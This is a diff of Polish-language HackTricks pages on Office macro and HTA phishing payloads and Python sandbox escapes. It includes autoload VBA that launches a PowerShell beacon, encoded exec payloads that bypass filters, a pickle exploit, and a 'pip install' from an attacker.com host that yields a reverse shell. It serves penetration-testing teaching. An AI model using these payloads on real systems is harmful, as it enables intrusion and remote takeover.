Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Dokumenty Biurowe
|
||||
## Dokumenty biurowe
|
||||
|
||||
Microsoft Word wykonuje walidację danych pliku przed otwarciem. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli wystąpi błąd podczas identyfikacji struktury danych, analizowany plik nie zostanie otwarty.
|
||||
Microsoft Word wykonuje walidację danych pliku przed jego otwarciem. Walidacja danych jest przeprowadzana w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli wystąpi błąd podczas identyfikacji struktury danych, analizowany plik nie zostanie otwarty.
|
||||
|
||||
Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednakże, możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia i zachowanie zdolności do wykonywania makr.\
|
||||
Na przykład plik RTF nie obsługuje makr, z założenia, ale plik DOCM zmieniony na RTF zostanie obsłużony przez Microsoft Word i będzie zdolny do wykonania makr.\
|
||||
Te same wewnętrzne mechanizmy stosuje się do wszystkich programów z pakietu Microsoft Office (Excel, PowerPoint itp.).
|
||||
Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia pliku i nadal zachowanie możliwości wykonywania makr.\
|
||||
Na przykład, plik RTF nie obsługuje makr, z założenia, ale plik DOCM zmieniony na RTF będzie obsługiwany przez Microsoft Word i będzie zdolny do wykonywania makr.\
|
||||
Te same wewnętrzne mechanizmy mają zastosowanie do całego oprogramowania z pakietu Microsoft Office (Excel, PowerPoint itp.).
|
||||
|
||||
Możesz użyć poniższej komendy, aby sprawdzić, które rozszerzenia będą wykonywane przez niektóre programy biurowe:
|
||||
Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą wykonywane przez niektóre programy Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
### Ładowanie zewnętrznego obrazu
|
||||
DOCX pliki odwołujące się do zdalnego szablonu (Plik – Opcje – Dodatki – Zarządzaj: Szablony – Przejdź) które zawierają makra mogą również „wykonywać” makra.
|
||||
|
||||
### Ładowanie zewnętrznych obrazów
|
||||
|
||||
Przejdź do: _Wstaw --> Szybkie części --> Pole_\
|
||||
_**Kategorie**: Linki i odwołania, **Nazwy pól**: includePicture, a **Nazwa pliku lub adres URL**:_ http://\<ip>/cokolwiek
|
||||
_**Kategorie**: Linki i odniesienia, **Nazwy pól**: includePicture, oraz **Nazwa pliku lub URL**:_ http://\<ip>/whatever
|
||||
|
||||
![](<../../.gitbook/assets/image (155).png>)
|
||||
|
||||
### Tylnie drzwi makr
|
||||
### Makra Backdoor
|
||||
|
||||
Możliwe jest użycie makr do uruchamiania dowolnego kodu z dokumentu.
|
||||
|
||||
#### Funkcje automatycznego ładowania
|
||||
#### Funkcje autoload
|
||||
|
||||
Im bardziej popularne, tym bardziej prawdopodobne jest wykrycie ich przez oprogramowanie antywirusowe.
|
||||
Im bardziej powszechne, tym bardziej prawdopodobne, że AV je wykryje.
|
||||
|
||||
* AutoOpen()
|
||||
* Document\_Open()
|
||||
|
@ -72,14 +77,14 @@ Dim proc As Object
|
|||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Usunięcie metadanych ręcznie
|
||||
#### Ręczne usuwanie metadanych
|
||||
|
||||
Przejdź do **Plik > Informacje > Sprawdź dokument > Sprawdź dokument**, co spowoduje otwarcie Inspektora dokumentów. Kliknij **Sprawdź** a następnie **Usuń wszystko** obok **Właściwości dokumentu i informacji osobistych**.
|
||||
Przejdź do **Plik > Informacje > Sprawdź dokument > Sprawdź dokument**, co uruchomi Inspektora dokumentów. Kliknij **Sprawdź**, a następnie **Usuń wszystko** obok **Właściwości dokumentu i informacje osobiste**.
|
||||
|
||||
#### Rozszerzenie dokumentu
|
||||
|
||||
Po zakończeniu wybierz rozwijaną listę **Zapisz jako typ**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\
|
||||
Zrób to, ponieważ **nie można zapisać makr wewnątrz pliku `.docx`** i istnieje **stygmat** wokół rozszerzenia z makrami **`.docm`** (np. ikona miniatury ma duże `!` i niektóre bramy internetowe/e-mail blokują je całkowicie). Dlatego **to dziedziczone rozszerzenie `.doc` jest najlepszym kompromisem**.
|
||||
Po zakończeniu wybierz rozwijane menu **Zapisz jako typ**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\
|
||||
Zrób to, ponieważ **nie możesz zapisać makr w `.docx`** i istnieje **stygmat** **związany** z rozszerzeniem makro-włączonym **`.docm`** (np. ikona miniatury ma ogromne `!`, a niektóre bramy internetowe/e-mailowe całkowicie je blokują). Dlatego to **stare rozszerzenie `.doc` jest najlepszym kompromisem**.
|
||||
|
||||
#### Generatory złośliwych makr
|
||||
|
||||
|
@ -89,9 +94,9 @@ Zrób to, ponieważ **nie można zapisać makr wewnątrz pliku `.docx`** i istni
|
|||
|
||||
## Pliki HTA
|
||||
|
||||
HTA to program Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i wykonuje się jako aplikacja "w pełni zaufana", bez ograniczeń modelu bezpieczeństwa przeglądarki.
|
||||
HTA to program Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i działa jako "w pełni zaufana" aplikacja, bez ograniczeń modelu bezpieczeństwa przeglądarki.
|
||||
|
||||
HTA jest wykonywany za pomocą **`mshta.exe`**, który zazwyczaj jest **zainstalowany** razem z **Internet Explorer**, co sprawia, że **`mshta` zależy od IE**. Jeśli został odinstalowany, pliki HTA nie będą mogły być wykonane.
|
||||
HTA jest uruchamiane za pomocą **`mshta.exe`**, które jest zazwyczaj **instalowane** razem z **Internet Explorer**, co sprawia, że **`mshta` jest zależne od IE**. Jeśli zostało odinstalowane, HTA nie będą mogły się uruchomić.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
|
@ -148,9 +153,9 @@ self.close
|
|||
```
|
||||
## Wymuszanie uwierzytelniania NTLM
|
||||
|
||||
Istnieje kilka sposobów **wymuszenia uwierzytelniania NTLM "zdalnie"**, na przykład można dodać **niewidoczne obrazy** do e-maili lub HTML, do których użytkownik uzyska dostęp (nawet HTTP MitM?). Lub wysłać ofierze **adres plików**, które spowodują **uwierzytelnienie** tylko po **otwarciu folderu**.
|
||||
Istnieje kilka sposobów na **wymuszenie uwierzytelniania NTLM "zdalnie"**, na przykład, możesz dodać **niewidoczne obrazy** do e-maili lub HTML, do których użytkownik uzyska dostęp (nawet HTTP MitM?). Lub wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnienie** tylko przy **otwieraniu folderu.**
|
||||
|
||||
**Sprawdź te pomysły i więcej na następnych stronach:**
|
||||
**Sprawdź te pomysły i więcej na następujących stronach:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
|
@ -162,19 +167,22 @@ Istnieje kilka sposobów **wymuszenia uwierzytelniania NTLM "zdalnie"**, na przy
|
|||
|
||||
### Przekazywanie NTLM
|
||||
|
||||
Nie zapomnij, że możesz nie tylko ukraść skrót lub uwierzytelnienie, ale także **przeprowadzić ataki przekazywania NTLM**:
|
||||
Nie zapomnij, że nie tylko możesz ukraść hash lub uwierzytelnienie, ale także **przeprowadzać ataki przekazywania NTLM**:
|
||||
|
||||
* [**Ataki przekazywania NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
* [**AD CS ESC8 (przekazywanie NTLM do certyfikatów)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,55 @@
|
|||
# Ucieczka z piaskownicy Pythona i Pyscript
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS w dziedzinie hakerskiej dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
|
||||
|
||||
**Interesujące strony do sprawdzenia:**
|
||||
|
||||
* [**Sztuczki hakerskie Pyscript**](pyscript.md)
|
||||
* [**Deserializacje w Pythonie**](../../pentesting-web/deserialization/#python)
|
||||
* [**Sztuczki do ominięcia piaskownic Pythona**](bypass-python-sandboxes/)
|
||||
* [**Podstawowa składnia żądań sieciowych w Pythonie**](web-requests.md)
|
||||
* [**Triki hackingowe Pyscript**](pyscript.md)
|
||||
* [**Deserializacje Pythona**](../../pentesting-web/deserialization/#python)
|
||||
* [**Triki do obejścia piaskownic Pythona**](bypass-python-sandboxes/)
|
||||
* [**Podstawowa składnia żądań webowych Pythona**](web-requests.md)
|
||||
* [**Podstawowa składnia i biblioteki Pythona**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS w dziedzinie hakerskiej dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Ominięcie piaskownic Pythona
|
||||
# Bypass Python sandboxes
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,11 +23,11 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
***
|
||||
|
||||
Oto kilka sztuczek, które pozwalają ominąć zabezpieczenia piaskownicy Pythona i wykonywać dowolne polecenia.
|
||||
To są niektóre triki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia.
|
||||
|
||||
## Biblioteki do Wykonywania Poleceń
|
||||
## Biblioteki do wykonywania poleceń
|
||||
|
||||
Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonywać kod za pomocą już zaimportowanej biblioteki, lub czy możesz zaimportować którąś z tych bibliotek:
|
||||
Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonać kod za pomocą już zaimportowanej biblioteki, lub czy możesz zaimportować którąkolwiek z tych bibliotek:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -59,23 +60,23 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytania plików** wewnątrz piaskownicy Pythona oraz do **napisania kodu**, który można **wykonać**, aby **obejść** piaskownicę.
|
||||
Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytania plików** wewnątrz piaskownicy Pythona oraz do **pisania kodu**, który możesz **wykonać**, aby **obejść** piaskownicę.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Funkcja **Python2 input()** pozwala na wykonanie kodu Pythona przed awarią programu.
|
||||
Funkcja **input()** w Pythonie 2 pozwala na wykonywanie kodu Pythona przed awarią programu.
|
||||
{% endhint %}
|
||||
|
||||
Python próbuje **załadować biblioteki z bieżącego katalogu najpierw** (następujące polecenie wyświetli, skąd Python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python próbuje **ładować biblioteki z bieżącego katalogu jako pierwsze** (następujące polecenie wydrukuje, skąd Python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
![](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## Ominięcie piaskownicy pickle za pomocą domyślnie zainstalowanych pakietów Pythona
|
||||
## Obejście piaskownicy pickle za pomocą domyślnie zainstalowanych pakietów Pythona
|
||||
|
||||
### Domyślne pakiety
|
||||
|
||||
Możesz znaleźć **listę preinstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Możesz znaleźć **listę wstępnie zainstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Zauważ, że z pickle możesz sprawić, że środowisko Pythona **zaimportuje dowolne biblioteki** zainstalowane w systemie.\
|
||||
Na przykład poniższy pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:
|
||||
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -88,32 +89,32 @@ return (pip.main,(["list"],))
|
|||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Dla dalszych informacji na temat działania modułu pickle sprawdź to: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Aby uzyskać więcej informacji na temat działania pickle, sprawdź to: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pakiet Pip
|
||||
|
||||
Sztuczka udostępniona przez **@isHaacK**
|
||||
|
||||
Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać odwrotną powłokę, wykonując:
|
||||
Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać powrotny shell, wywołując:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Możesz pobrać pakiet do tworzenia odwróconego powłoki tutaj. Zauważ, że przed użyciem go powinieneś **rozpakować, zmienić `setup.py`, i wpisać swój adres IP dla odwróconej powłoki**:
|
||||
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę, pamiętaj, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Ten pakiet nazywa się `Reverse`. Jednak został specjalnie przygotowany tak, że gdy opuścisz odwróconą powłokę, reszta instalacji zakończy się niepowodzeniem, więc **nie pozostanie żaden dodatkowy pakiet Pythona zainstalowany na serwerze** po opuszczeniu.
|
||||
Ten pakiet nazywa się `Reverse`. Jednak został specjalnie stworzony tak, aby po wyjściu z reverse shell reszta instalacji zakończyła się niepowodzeniem, więc **nie zostawisz żadnego dodatkowego pakietu python na serwerze** po wyjściu.
|
||||
{% endhint %}
|
||||
|
||||
## Evalowanie kodu Pythona
|
||||
## Eval-ing kodu python
|
||||
|
||||
{% hint style="warning" %}
|
||||
Zauważ, że exec pozwala na wieloliniowe ciągi znaków i ";", ale eval nie (sprawdź operator walrus)
|
||||
Zauważ, że exec pozwala na wieloliniowe ciągi i ";", ale eval nie (sprawdź operatora walrus)
|
||||
{% endhint %}
|
||||
|
||||
Jeśli pewne znaki są zabronione, możesz użyć reprezentacji **szesnastkowej/ósemkowej/B64** aby **obejść** ograniczenie:
|
||||
Jeśli pewne znaki są zabronione, możesz użyć **hex/octal/B64** reprezentacji, aby **obejść** ograniczenie:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -134,7 +135,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
|||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Inne biblioteki pozwalające na ocenianie kodu Pythona
|
||||
### Inne biblioteki, które pozwalają na eval kodu python
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
|
@ -148,7 +149,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
|||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
